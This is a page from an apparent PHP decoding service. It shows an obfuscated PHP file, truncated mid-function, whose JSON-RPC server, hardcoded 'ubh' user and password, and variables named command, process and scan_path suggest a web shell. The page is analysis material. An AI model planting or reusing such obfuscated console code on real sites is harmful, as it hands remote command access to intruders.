Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"GLOBALS"}["zkjqfzalndv"]="rpc_server";${"GLOBALS"}["bgxornlgco"]="completion";${"..

Decoded Output download

<?php ${"GLOBALS"}["zkjqfzalndv"]="rpc_server";${"GLOBALS"}["bgxornlgco"]="completion";${"GLOBALS"}["pfjnyjcouxm"]="pattern";${"GLOBALS"}["lvywpjom"]="completion_prefix";${"GLOBALS"}["whiifzpeht"]="scan_path";${"GLOBALS"}["jwdjgvhd"]="path";${"GLOBALS"}["tfysfdmjlbr"]="environment";${"GLOBALS"}["itnltzfnr"]="hostname";${"GLOBALS"}["bjqomfdb"]="real_password_hash";${"GLOBALS"}["iywhwluv"]="token_parts";${"GLOBALS"}["cblwclzse"]="token";${"GLOBALS"}["cmxnqoibxh"]="password";${"GLOBALS"}["twgodmc"]="user";${"GLOBALS"}["bqthpujjuvtf"]="message";${"GLOBALS"}["bokpltex"]="value_item";${"GLOBALS"}["aisaplsx"]="index";${"GLOBALS"}["xwurepnekgs"]="values_total";${"GLOBALS"}["gxwhwgthwz"]="values";${"GLOBALS"}["bqrjbt"]="command";${"GLOBALS"}["lrmojcjvnpfs"]="value";${"GLOBALS"}["qiumnscrglx"]="output";${"GLOBALS"}["xfyqrbbbndug"]="process";${"GLOBALS"}["ijdhxfdfnc"]="descriptors";${"GLOBALS"}["xjdyso"]="IS_CONFIGURED";${"GLOBALS"}["whjahgbypzu"]="USER";${"GLOBALS"}["wvlbqtut"]="ACCOUNTS";${"GLOBALS"}["eumwsoxebxx"]="returns";${"GLOBALS"}["kfqkgzhfie"]="name";${"GLOBALS"}["nmgkndqjp"]="desc";${"GLOBALS"}["aegerqy"]="type";${"GLOBALS"}["kiguaxwub"]="number";${"GLOBALS"}["qohpeuge"]="matches";${"GLOBALS"}["xsdjfblni"]="parsedParams";${"GLOBALS"}["frdxgux"]="methodName";${"GLOBALS"}["mvkqgjb"]="USER";${"GLOBALS"}["btgiunv"]="rmDocComment";${"GLOBALS"}["edqvgsowvvi"]="docComment";${"GLOBALS"}["etbzybeco"]="rc";${"GLOBALS"}["racyusilohuo"]="comment";${"GLOBALS"}["ctvtfwwctsvf"]="defaultValue";${"GLOBALS"}["oonyko"]="paramName";${"GLOBALS"}["qjhnudapmy"]="newParams";$mlccrdoif="HOME_DIRECTORY";${"GLOBALS"}["etekkwh"]="id";${"GLOBALS"}["wjoigcpyviy"]="result";${"GLOBALS"}["hdczjdpyq"]="param";${"GLOBALS"}["udapkmgko"]="totalRequired";${"GLOBALS"}["tcqaipfkjpy"]="paramsType";${"GLOBALS"}["evxhcvmhkpyk"]="params";${"GLOBALS"}["ddznjvx"]="method";${"GLOBALS"}["xvhxpu"]="call";${"GLOBALS"}["lsyiyp"]="data";${"GLOBALS"}["oznwjcrb"]="code";${"GLOBALS"}["mzlltfpjdp"]="error";${"GLOBALS"}["wwqksqeg"]="request";${"GLOBALS"}["inqhbrzp"]="HOME_DIRECTORY";${"GLOBALS"}["sytoweofwk"]="PASSWORD";${"GLOBALS"}["qonhfrhv"]="USER";${${"GLOBALS"}["qonhfrhv"]}="ubh";${"GLOBALS"}["dhrdiqq"]="ACCOUNTS";${"GLOBALS"}["qfmzgupwhyd"]="ACCOUNTS";${"GLOBALS"}["psgkrczci"]="ACCOUNTS";$esrtuhlbleij="USER";${${"GLOBALS"}["sytoweofwk"]}="ubh";${${"GLOBALS"}["dhrdiqq"]}=array();${${"GLOBALS"}["inqhbrzp"]}="";class BaseJsonRpcServer{const ParseError=-32700;const InvalidRequest=-32600;const MethodNotFound=-32601;const InvalidParams=-32602;const InternalError=-32603;protected$instance;protected$request;protected$calls=array();protected$response=array();protected$hasCalls=false;private$isBatchCall=false;protected$hiddenMethods=array('execute','__construct');public$ContentType='application/json';public$IsXDR=true;protected$errorMessages=array(self::ParseError=>'Parse error',self::InvalidRequest=>'Invalid Request',self::MethodNotFound=>'Method not found',self::InvalidParams=>'Invalid params',self::InternalError=>'Internal error');private$reflectionMethods=array();private function getRequest(){$lontcccbsgk="error";${"GLOBALS"}["cldivbiorj"]="error";${${"GLOBALS"}["cldivbiorj"]}=null;do{if(array_key_exists("REQUEST_METHOD",$_SERVER)&&$_SERVER["REQUEST_METHOD"]!="POST"){$luilvheekf="error";${$luilvheekf}=self::InvalidRequest;break;}${"GLOBALS"}["wvlaygpp"]="request";${${"GLOBALS"}["wvlaygpp"]}=!empty($_GET["rawRequest"])?$_GET["rawRequest"]:file_get_contents("php://input");$this->request=json_decode(${${"GLOBALS"}["wwqksqeg"]},false);if($this->request===null){${${"GLOBALS"}["mzlltfpjdp"]}=self::ParseError;break;}if($this->request===array()){${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidRequest;break;}if(is_array($this->request)){$this->calls=$this->request;$this->isBatchCall=true;}else{$this->calls[]=$this->request;}}while(false);return${$lontcccbsgk};}private function getError($code,$id=null,$data=null){${"GLOBALS"}["qlglokvc"]="code";${"GLOBALS"}["cpyvqcltuf"]="id";return array("jsonrpc"=>"2.0","error"=>array("code"=>${${"GLOBALS"}["qlglokvc"]},"message"=>isset($this->errorMessages[${${"GLOBALS"}["oznwjcrb"]}])?$this->errorMessages[${${"GLOBALS"}["oznwjcrb"]}]:$this->errorMessages[self::InternalError],"data"=>${${"GLOBALS"}["lsyiyp"]}),"id"=>${${"GLOBALS"}["cpyvqcltuf"]});}private function validateCall($call){$dvbktw="result";$xewawvqlm="call";$orlfnvr="error";$ktfdyidww="id";${"GLOBALS"}["yndaelycmxv"]="call";${$dvbktw}=null;${$orlfnvr}=null;${${"GLOBALS"}["lsyiyp"]}=null;${$ktfdyidww}=is_object(${${"GLOBALS"}["yndaelycmxv"]})&&property_exists(${$xewawvqlm},"id")?$call->id:null;do{${"GLOBALS"}["mbyyhihgefy"]="paramsType";$kxrpygdpu="method";${"GLOBALS"}["ykttjugbprjx"]="param";if(!is_object(${${"GLOBALS"}["xvhxpu"]})){${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidRequest;break;}${"GLOBALS"}["rlrywcdv"]="call";${"GLOBALS"}["mkwhguxbwv"]="method";${"GLOBALS"}["dloswn"]="totalRequired";${"GLOBALS"}["ftcrbcaomk"]="call";$chckgncjfik="params";$rgpxbghj="call";if(property_exists(${${"GLOBALS"}["xvhxpu"]},"version")){if($call->version=="json-rpc-2.0"){$call->jsonrpc="2.0";}}${"GLOBALS"}["oqhosri"]="params";if(!property_exists(${${"GLOBALS"}["ftcrbcaomk"]},"jsonrpc")||$call->jsonrpc!="2.0"){$wpgksjutycg="error";${$wpgksjutycg}=self::InvalidRequest;break;}$gzlwmshbt="method";${"GLOBALS"}["ayqrxa"]="method";${$kxrpygdpu}=property_exists(${$rgpxbghj},"method")?$call->method:null;if(!${${"GLOBALS"}["ddznjvx"]}||!method_exists($this->instance,${${"GLOBALS"}["ddznjvx"]})||in_array(strtolower(${${"GLOBALS"}["mkwhguxbwv"]}),$this->hiddenMethods)){${${"GLOBALS"}["mzlltfpjdp"]}=self::MethodNotFound;break;}if(!array_key_exists(${${"GLOBALS"}["ddznjvx"]},$this->reflectionMethods)){$this->reflectionMethods[${${"GLOBALS"}["ddznjvx"]}]=new ReflectionMethod($this->instance,${${"GLOBALS"}["ddznjvx"]});}${"GLOBALS"}["ommdarlcehk"]="paramsType";${${"GLOBALS"}["evxhcvmhkpyk"]}=property_exists(${${"GLOBALS"}["rlrywcdv"]},"params")?$call->params:null;${"GLOBALS"}["ltlmttvxbv"]="paramsType";${${"GLOBALS"}["tcqaipfkjpy"]}=gettype(${${"GLOBALS"}["evxhcvmhkpyk"]});if(${$chckgncjfik}!==null&&${${"GLOBALS"}["ltlmttvxbv"]}!="array"&&${${"GLOBALS"}["mbyyhihgefy"]}!="object"){${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidParams;break;}switch(${${"GLOBALS"}["ommdarlcehk"]}){case"array":${${"GLOBALS"}["udapkmgko"]}=0;foreach($this->reflectionMethods[${$gzlwmshbt}]->getParameters()as${${"GLOBALS"}["ykttjugbprjx"]}){if(!$param->isDefaultValueAvailable()){${${"GLOBALS"}["udapkmgko"]}++;}}if(count(${${"GLOBALS"}["oqhosri"]})<${${"GLOBALS"}["dloswn"]}){$mkahmjyxt="params";${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidParams;${${"GLOBALS"}["lsyiyp"]}=sprintf("Check numbers of required params (got %d, expected %d)",count(${$mkahmjyxt}),${${"GLOBALS"}["udapkmgko"]});}break;case"object":foreach($this->reflectionMethods[${${"GLOBALS"}["ayqrxa"]}]->getParameters()as${${"GLOBALS"}["hdczjdpyq"]}){if(!$param->isDefaultValueAvailable()&&!array_key_exists($param->getName(),${${"GLOBALS"}["evxhcvmhkpyk"]})){${"GLOBALS"}["gyplsxrun"]="error";${"GLOBALS"}["kuoqucjcui"]="data";${${"GLOBALS"}["gyplsxrun"]}=self::InvalidParams;${${"GLOBALS"}["kuoqucjcui"]}=$param->getName()." not found";break 3;}}break;case"NULL":if($this->reflectionMethods[${${"GLOBALS"}["ddznjvx"]}]->getNumberOfRequiredParameters()>0){${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidParams;${${"GLOBALS"}["lsyiyp"]}="Empty required params";break 2;}break;}}while(false);if(${${"GLOBALS"}["mzlltfpjdp"]}){$iliscx="data";$unhwvbd="error";${${"GLOBALS"}["wjoigcpyviy"]}=array(${$unhwvbd},${${"GLOBALS"}["etekkwh"]},${$iliscx});}return${${"GLOBALS"}["wjoigcpyviy"]};}private function processCall($call){${"GLOBALS"}["coyjhoeeiym"]="id";$qpmvgzfpfvw="call";${"GLOBALS"}["mvftkbu"]="id";${${"GLOBALS"}["etekkwh"]}=property_exists(${$qpmvgzfpfvw},"id")?$call->id:null;${${"GLOBALS"}["evxhcvmhkpyk"]}=property_exists(${${"GLOBALS"}["xvhxpu"]},"params")?$call->params:array();$lsxhijwpn="result";${$lsxhijwpn}=null;try{${"GLOBALS"}["dpxmvekw"]="params";if(is_object(${${"GLOBALS"}["evxhcvmhkpyk"]})){${${"GLOBALS"}["qjhnudapmy"]}=array();$nhpoeygngwi="params";$iabrcpblc="param";foreach($this->reflectionMethods[$call->method]->getParameters()as${$iabrcpblc}){${${"GLOBALS"}["oonyko"]}=$param->getName();$nolywkjps="newParams";${"GLOBALS"}["poguskoywho"]="defaultValue";${"GLOBALS"}["ixwciba"]="paramName";${${"GLOBALS"}["poguskoywho"]}=$param->isDefaultValueAvailable()?$param->getDefaultValue():null;${$nolywkjps}[]=property_exists(${${"GLOBALS"}["evxhcvmhkpyk"]},${${"GLOBALS"}["oonyko"]})?$params->${${"GLOBALS"}["ixwciba"]}:${${"GLOBALS"}["ctvtfwwctsvf"]};}${$nhpoeygngwi}=${${"GLOBALS"}["qjhnudapmy"]};}${${"GLOBALS"}["wjoigcpyviy"]}=$this->reflectionMethods[$call->method]->invokeArgs($this->instance,${${"GLOBALS"}["dpxmvekw"]});}catch(Exception$e){return$this->getError($e->getCode(),${${"GLOBALS"}["etekkwh"]},$e->getMessage());}if(!${${"GLOBALS"}["mvftkbu"]}){return null;}return array("jsonrpc"=>"2.0","result"=>${${"GLOBALS"}["wjoigcpyviy"]},"id"=>${${"GLOBALS"}["coyjhoeeiym"]});}public function __construct($instance=null){if(get_parent_class($this)){$this->instance=$this;}else{$eaujskrf="instance";$this->instance=${$eaujskrf};$this->instance->errorMessages=$this->errorMessages;}}public function Execute(){do{if(array_key_exists("smd",$_GET)){$this->response[]=$this->getServiceMap();$this->hasCalls=true;break;}${"GLOBALS"}["okypjbcem"]="error";${${"GLOBALS"}["mzlltfpjdp"]}=$this->getRequest();if(${${"GLOBALS"}["okypjbcem"]}){$ruismapwo="error";$this->response[]=$this->getError(${$ruismapwo});$this->hasCalls=true;break;}foreach($this->calls as${${"GLOBALS"}["xvhxpu"]}){${"GLOBALS"}["vsmxjvl"]="call";$agogohxe="error";${$agogohxe}=$this->validateCall(${${"GLOBALS"}["vsmxjvl"]});if(${${"GLOBALS"}["mzlltfpjdp"]}){$yzdgdv="error";$this->response[]=$this->getError(${$yzdgdv}[0],${${"GLOBALS"}["mzlltfpjdp"]}[1],${${"GLOBALS"}["mzlltfpjdp"]}[2]);$this->hasCalls=true;}else{${${"GLOBALS"}["wjoigcpyviy"]}=$this->processCall(${${"GLOBALS"}["xvhxpu"]});if(${${"GLOBALS"}["wjoigcpyviy"]}){${"GLOBALS"}["yjtiisitqvho"]="result";$this->response[]=${${"GLOBALS"}["yjtiisitqvho"]};$this->hasCalls=true;}}}}while(false);if($this->hasCalls){if(!$this->isBatchCall){$this->response=reset($this->response);}if($this->ContentType){header("Content-Type: ".$this->ContentType);}if($this->IsXDR){header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Headers: x-requested-with, content-type");}echo json_encode($this->response);$this->resetVars();}}private function getDocDescription($comment){${"GLOBALS"}["prgvex"]="result";${"GLOBALS"}["fryerchdc"]="matches";${${"GLOBALS"}["wjoigcpyviy"]}=null;if(preg_match("/\*\s+([^@]*)\s+/s",${${"GLOBALS"}["racyusilohuo"]},${${"GLOBALS"}["fryerchdc"]})){$vqnqljvygn="matches";${${"GLOBALS"}["wjoigcpyviy"]}=str_replace("*"," 
 
 ?>

Did this file decode correctly?

Original Code

<?php ${"GLOBALS"}["zkjqfzalndv"]="rpc_server";${"GLOBALS"}["bgxornlgco"]="completion";${"GLOBALS"}["pfjnyjcouxm"]="pattern";${"GLOBALS"}["lvywpjom"]="completion_prefix";${"GLOBALS"}["whiifzpeht"]="scan_path";${"GLOBALS"}["jwdjgvhd"]="path";${"GLOBALS"}["tfysfdmjlbr"]="environment";${"GLOBALS"}["itnltzfnr"]="hostname";${"GLOBALS"}["bjqomfdb"]="real_password_hash";${"GLOBALS"}["iywhwluv"]="token_parts";${"GLOBALS"}["cblwclzse"]="token";${"GLOBALS"}["cmxnqoibxh"]="password";${"GLOBALS"}["twgodmc"]="user";${"GLOBALS"}["bqthpujjuvtf"]="message";${"GLOBALS"}["bokpltex"]="value_item";${"GLOBALS"}["aisaplsx"]="index";${"GLOBALS"}["xwurepnekgs"]="values_total";${"GLOBALS"}["gxwhwgthwz"]="values";${"GLOBALS"}["bqrjbt"]="command";${"GLOBALS"}["lrmojcjvnpfs"]="value";${"GLOBALS"}["qiumnscrglx"]="output";${"GLOBALS"}["xfyqrbbbndug"]="process";${"GLOBALS"}["ijdhxfdfnc"]="descriptors";${"GLOBALS"}["xjdyso"]="IS_CONFIGURED";${"GLOBALS"}["whjahgbypzu"]="USER";${"GLOBALS"}["wvlbqtut"]="ACCOUNTS";${"GLOBALS"}["eumwsoxebxx"]="returns";${"GLOBALS"}["kfqkgzhfie"]="name";${"GLOBALS"}["nmgkndqjp"]="desc";${"GLOBALS"}["aegerqy"]="type";${"GLOBALS"}["kiguaxwub"]="number";${"GLOBALS"}["qohpeuge"]="matches";${"GLOBALS"}["xsdjfblni"]="parsedParams";${"GLOBALS"}["frdxgux"]="methodName";${"GLOBALS"}["mvkqgjb"]="USER";${"GLOBALS"}["btgiunv"]="rmDocComment";${"GLOBALS"}["edqvgsowvvi"]="docComment";${"GLOBALS"}["etbzybeco"]="rc";${"GLOBALS"}["racyusilohuo"]="comment";${"GLOBALS"}["ctvtfwwctsvf"]="defaultValue";${"GLOBALS"}["oonyko"]="paramName";${"GLOBALS"}["qjhnudapmy"]="newParams";$mlccrdoif="HOME_DIRECTORY";${"GLOBALS"}["etekkwh"]="id";${"GLOBALS"}["wjoigcpyviy"]="result";${"GLOBALS"}["hdczjdpyq"]="param";${"GLOBALS"}["udapkmgko"]="totalRequired";${"GLOBALS"}["tcqaipfkjpy"]="paramsType";${"GLOBALS"}["evxhcvmhkpyk"]="params";${"GLOBALS"}["ddznjvx"]="method";${"GLOBALS"}["xvhxpu"]="call";${"GLOBALS"}["lsyiyp"]="data";${"GLOBALS"}["oznwjcrb"]="code";${"GLOBALS"}["mzlltfpjdp"]="error";${"GLOBALS"}["wwqksqeg"]="request";${"GLOBALS"}["inqhbrzp"]="HOME_DIRECTORY";${"GLOBALS"}["sytoweofwk"]="PASSWORD";${"GLOBALS"}["qonhfrhv"]="USER";${${"GLOBALS"}["qonhfrhv"]}="ubh";${"GLOBALS"}["dhrdiqq"]="ACCOUNTS";${"GLOBALS"}["qfmzgupwhyd"]="ACCOUNTS";${"GLOBALS"}["psgkrczci"]="ACCOUNTS";$esrtuhlbleij="USER";${${"GLOBALS"}["sytoweofwk"]}="ubh";${${"GLOBALS"}["dhrdiqq"]}=array();${${"GLOBALS"}["inqhbrzp"]}="";class BaseJsonRpcServer{const ParseError=-32700;const InvalidRequest=-32600;const MethodNotFound=-32601;const InvalidParams=-32602;const InternalError=-32603;protected$instance;protected$request;protected$calls=array();protected$response=array();protected$hasCalls=false;private$isBatchCall=false;protected$hiddenMethods=array('execute','__construct');public$ContentType='application/json';public$IsXDR=true;protected$errorMessages=array(self::ParseError=>'Parse error',self::InvalidRequest=>'Invalid Request',self::MethodNotFound=>'Method not found',self::InvalidParams=>'Invalid params',self::InternalError=>'Internal error');private$reflectionMethods=array();private function getRequest(){$lontcccbsgk="error";${"GLOBALS"}["cldivbiorj"]="error";${${"GLOBALS"}["cldivbiorj"]}=null;do{if(array_key_exists("REQUEST_METHOD",$_SERVER)&&$_SERVER["REQUEST_METHOD"]!="POST"){$luilvheekf="error";${$luilvheekf}=self::InvalidRequest;break;}${"GLOBALS"}["wvlaygpp"]="request";${${"GLOBALS"}["wvlaygpp"]}=!empty($_GET["rawRequest"])?$_GET["rawRequest"]:file_get_contents("php://input");$this->request=json_decode(${${"GLOBALS"}["wwqksqeg"]},false);if($this->request===null){${${"GLOBALS"}["mzlltfpjdp"]}=self::ParseError;break;}if($this->request===array()){${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidRequest;break;}if(is_array($this->request)){$this->calls=$this->request;$this->isBatchCall=true;}else{$this->calls[]=$this->request;}}while(false);return${$lontcccbsgk};}private function getError($code,$id=null,$data=null){${"GLOBALS"}["qlglokvc"]="code";${"GLOBALS"}["cpyvqcltuf"]="id";return array("jsonrpc"=>"2.0","error"=>array("code"=>${${"GLOBALS"}["qlglokvc"]},"message"=>isset($this->errorMessages[${${"GLOBALS"}["oznwjcrb"]}])?$this->errorMessages[${${"GLOBALS"}["oznwjcrb"]}]:$this->errorMessages[self::InternalError],"data"=>${${"GLOBALS"}["lsyiyp"]}),"id"=>${${"GLOBALS"}["cpyvqcltuf"]});}private function validateCall($call){$dvbktw="result";$xewawvqlm="call";$orlfnvr="error";$ktfdyidww="id";${"GLOBALS"}["yndaelycmxv"]="call";${$dvbktw}=null;${$orlfnvr}=null;${${"GLOBALS"}["lsyiyp"]}=null;${$ktfdyidww}=is_object(${${"GLOBALS"}["yndaelycmxv"]})&&property_exists(${$xewawvqlm},"id")?$call->id:null;do{${"GLOBALS"}["mbyyhihgefy"]="paramsType";$kxrpygdpu="method";${"GLOBALS"}["ykttjugbprjx"]="param";if(!is_object(${${"GLOBALS"}["xvhxpu"]})){${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidRequest;break;}${"GLOBALS"}["rlrywcdv"]="call";${"GLOBALS"}["mkwhguxbwv"]="method";${"GLOBALS"}["dloswn"]="totalRequired";${"GLOBALS"}["ftcrbcaomk"]="call";$chckgncjfik="params";$rgpxbghj="call";if(property_exists(${${"GLOBALS"}["xvhxpu"]},"version")){if($call->version=="json-rpc-2.0"){$call->jsonrpc="2.0";}}${"GLOBALS"}["oqhosri"]="params";if(!property_exists(${${"GLOBALS"}["ftcrbcaomk"]},"jsonrpc")||$call->jsonrpc!="2.0"){$wpgksjutycg="error";${$wpgksjutycg}=self::InvalidRequest;break;}$gzlwmshbt="method";${"GLOBALS"}["ayqrxa"]="method";${$kxrpygdpu}=property_exists(${$rgpxbghj},"method")?$call->method:null;if(!${${"GLOBALS"}["ddznjvx"]}||!method_exists($this->instance,${${"GLOBALS"}["ddznjvx"]})||in_array(strtolower(${${"GLOBALS"}["mkwhguxbwv"]}),$this->hiddenMethods)){${${"GLOBALS"}["mzlltfpjdp"]}=self::MethodNotFound;break;}if(!array_key_exists(${${"GLOBALS"}["ddznjvx"]},$this->reflectionMethods)){$this->reflectionMethods[${${"GLOBALS"}["ddznjvx"]}]=new ReflectionMethod($this->instance,${${"GLOBALS"}["ddznjvx"]});}${"GLOBALS"}["ommdarlcehk"]="paramsType";${${"GLOBALS"}["evxhcvmhkpyk"]}=property_exists(${${"GLOBALS"}["rlrywcdv"]},"params")?$call->params:null;${"GLOBALS"}["ltlmttvxbv"]="paramsType";${${"GLOBALS"}["tcqaipfkjpy"]}=gettype(${${"GLOBALS"}["evxhcvmhkpyk"]});if(${$chckgncjfik}!==null&&${${"GLOBALS"}["ltlmttvxbv"]}!="array"&&${${"GLOBALS"}["mbyyhihgefy"]}!="object"){${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidParams;break;}switch(${${"GLOBALS"}["ommdarlcehk"]}){case"array":${${"GLOBALS"}["udapkmgko"]}=0;foreach($this->reflectionMethods[${$gzlwmshbt}]->getParameters()as${${"GLOBALS"}["ykttjugbprjx"]}){if(!$param->isDefaultValueAvailable()){${${"GLOBALS"}["udapkmgko"]}++;}}if(count(${${"GLOBALS"}["oqhosri"]})<${${"GLOBALS"}["dloswn"]}){$mkahmjyxt="params";${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidParams;${${"GLOBALS"}["lsyiyp"]}=sprintf("Check numbers of required params (got %d, expected %d)",count(${$mkahmjyxt}),${${"GLOBALS"}["udapkmgko"]});}break;case"object":foreach($this->reflectionMethods[${${"GLOBALS"}["ayqrxa"]}]->getParameters()as${${"GLOBALS"}["hdczjdpyq"]}){if(!$param->isDefaultValueAvailable()&&!array_key_exists($param->getName(),${${"GLOBALS"}["evxhcvmhkpyk"]})){${"GLOBALS"}["gyplsxrun"]="error";${"GLOBALS"}["kuoqucjcui"]="data";${${"GLOBALS"}["gyplsxrun"]}=self::InvalidParams;${${"GLOBALS"}["kuoqucjcui"]}=$param->getName()." not found";break 3;}}break;case"NULL":if($this->reflectionMethods[${${"GLOBALS"}["ddznjvx"]}]->getNumberOfRequiredParameters()>0){${${"GLOBALS"}["mzlltfpjdp"]}=self::InvalidParams;${${"GLOBALS"}["lsyiyp"]}="Empty required params";break 2;}break;}}while(false);if(${${"GLOBALS"}["mzlltfpjdp"]}){$iliscx="data";$unhwvbd="error";${${"GLOBALS"}["wjoigcpyviy"]}=array(${$unhwvbd},${${"GLOBALS"}["etekkwh"]},${$iliscx});}return${${"GLOBALS"}["wjoigcpyviy"]};}private function processCall($call){${"GLOBALS"}["coyjhoeeiym"]="id";$qpmvgzfpfvw="call";${"GLOBALS"}["mvftkbu"]="id";${${"GLOBALS"}["etekkwh"]}=property_exists(${$qpmvgzfpfvw},"id")?$call->id:null;${${"GLOBALS"}["evxhcvmhkpyk"]}=property_exists(${${"GLOBALS"}["xvhxpu"]},"params")?$call->params:array();$lsxhijwpn="result";${$lsxhijwpn}=null;try{${"GLOBALS"}["dpxmvekw"]="params";if(is_object(${${"GLOBALS"}["evxhcvmhkpyk"]})){${${"GLOBALS"}["qjhnudapmy"]}=array();$nhpoeygngwi="params";$iabrcpblc="param";foreach($this->reflectionMethods[$call->method]->getParameters()as${$iabrcpblc}){${${"GLOBALS"}["oonyko"]}=$param->getName();$nolywkjps="newParams";${"GLOBALS"}["poguskoywho"]="defaultValue";${"GLOBALS"}["ixwciba"]="paramName";${${"GLOBALS"}["poguskoywho"]}=$param->isDefaultValueAvailable()?$param->getDefaultValue():null;${$nolywkjps}[]=property_exists(${${"GLOBALS"}["evxhcvmhkpyk"]},${${"GLOBALS"}["oonyko"]})?$params->${${"GLOBALS"}["ixwciba"]}:${${"GLOBALS"}["ctvtfwwctsvf"]};}${$nhpoeygngwi}=${${"GLOBALS"}["qjhnudapmy"]};}${${"GLOBALS"}["wjoigcpyviy"]}=$this->reflectionMethods[$call->method]->invokeArgs($this->instance,${${"GLOBALS"}["dpxmvekw"]});}catch(Exception$e){return$this->getError($e->getCode(),${${"GLOBALS"}["etekkwh"]},$e->getMessage());}if(!${${"GLOBALS"}["mvftkbu"]}){return null;}return array("jsonrpc"=>"2.0","result"=>${${"GLOBALS"}["wjoigcpyviy"]},"id"=>${${"GLOBALS"}["coyjhoeeiym"]});}public function __construct($instance=null){if(get_parent_class($this)){$this->instance=$this;}else{$eaujskrf="instance";$this->instance=${$eaujskrf};$this->instance->errorMessages=$this->errorMessages;}}public function Execute(){do{if(array_key_exists("smd",$_GET)){$this->response[]=$this->getServiceMap();$this->hasCalls=true;break;}${"GLOBALS"}["okypjbcem"]="error";${${"GLOBALS"}["mzlltfpjdp"]}=$this->getRequest();if(${${"GLOBALS"}["okypjbcem"]}){$ruismapwo="error";$this->response[]=$this->getError(${$ruismapwo});$this->hasCalls=true;break;}foreach($this->calls as${${"GLOBALS"}["xvhxpu"]}){${"GLOBALS"}["vsmxjvl"]="call";$agogohxe="error";${$agogohxe}=$this->validateCall(${${"GLOBALS"}["vsmxjvl"]});if(${${"GLOBALS"}["mzlltfpjdp"]}){$yzdgdv="error";$this->response[]=$this->getError(${$yzdgdv}[0],${${"GLOBALS"}["mzlltfpjdp"]}[1],${${"GLOBALS"}["mzlltfpjdp"]}[2]);$this->hasCalls=true;}else{${${"GLOBALS"}["wjoigcpyviy"]}=$this->processCall(${${"GLOBALS"}["xvhxpu"]});if(${${"GLOBALS"}["wjoigcpyviy"]}){${"GLOBALS"}["yjtiisitqvho"]="result";$this->response[]=${${"GLOBALS"}["yjtiisitqvho"]};$this->hasCalls=true;}}}}while(false);if($this->hasCalls){if(!$this->isBatchCall){$this->response=reset($this->response);}if($this->ContentType){header("Content-Type: ".$this->ContentType);}if($this->IsXDR){header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Headers: x-requested-with, content-type");}echo json_encode($this->response);$this->resetVars();}}private function getDocDescription($comment){${"GLOBALS"}["prgvex"]="result";${"GLOBALS"}["fryerchdc"]="matches";${${"GLOBALS"}["wjoigcpyviy"]}=null;if(preg_match("/\*\s+([^@]*)\s+/s",${${"GLOBALS"}["racyusilohuo"]},${${"GLOBALS"}["fryerchdc"]})){$vqnqljvygn="matches";${${"GLOBALS"}["wjoigcpyviy"]}=str_replace("*","

Function Calls

None

Variables

None

Stats

MD5 e4d88bc20e3d6bfd8f015371e361a3fc
Eval Count 0
Decode Time 60 ms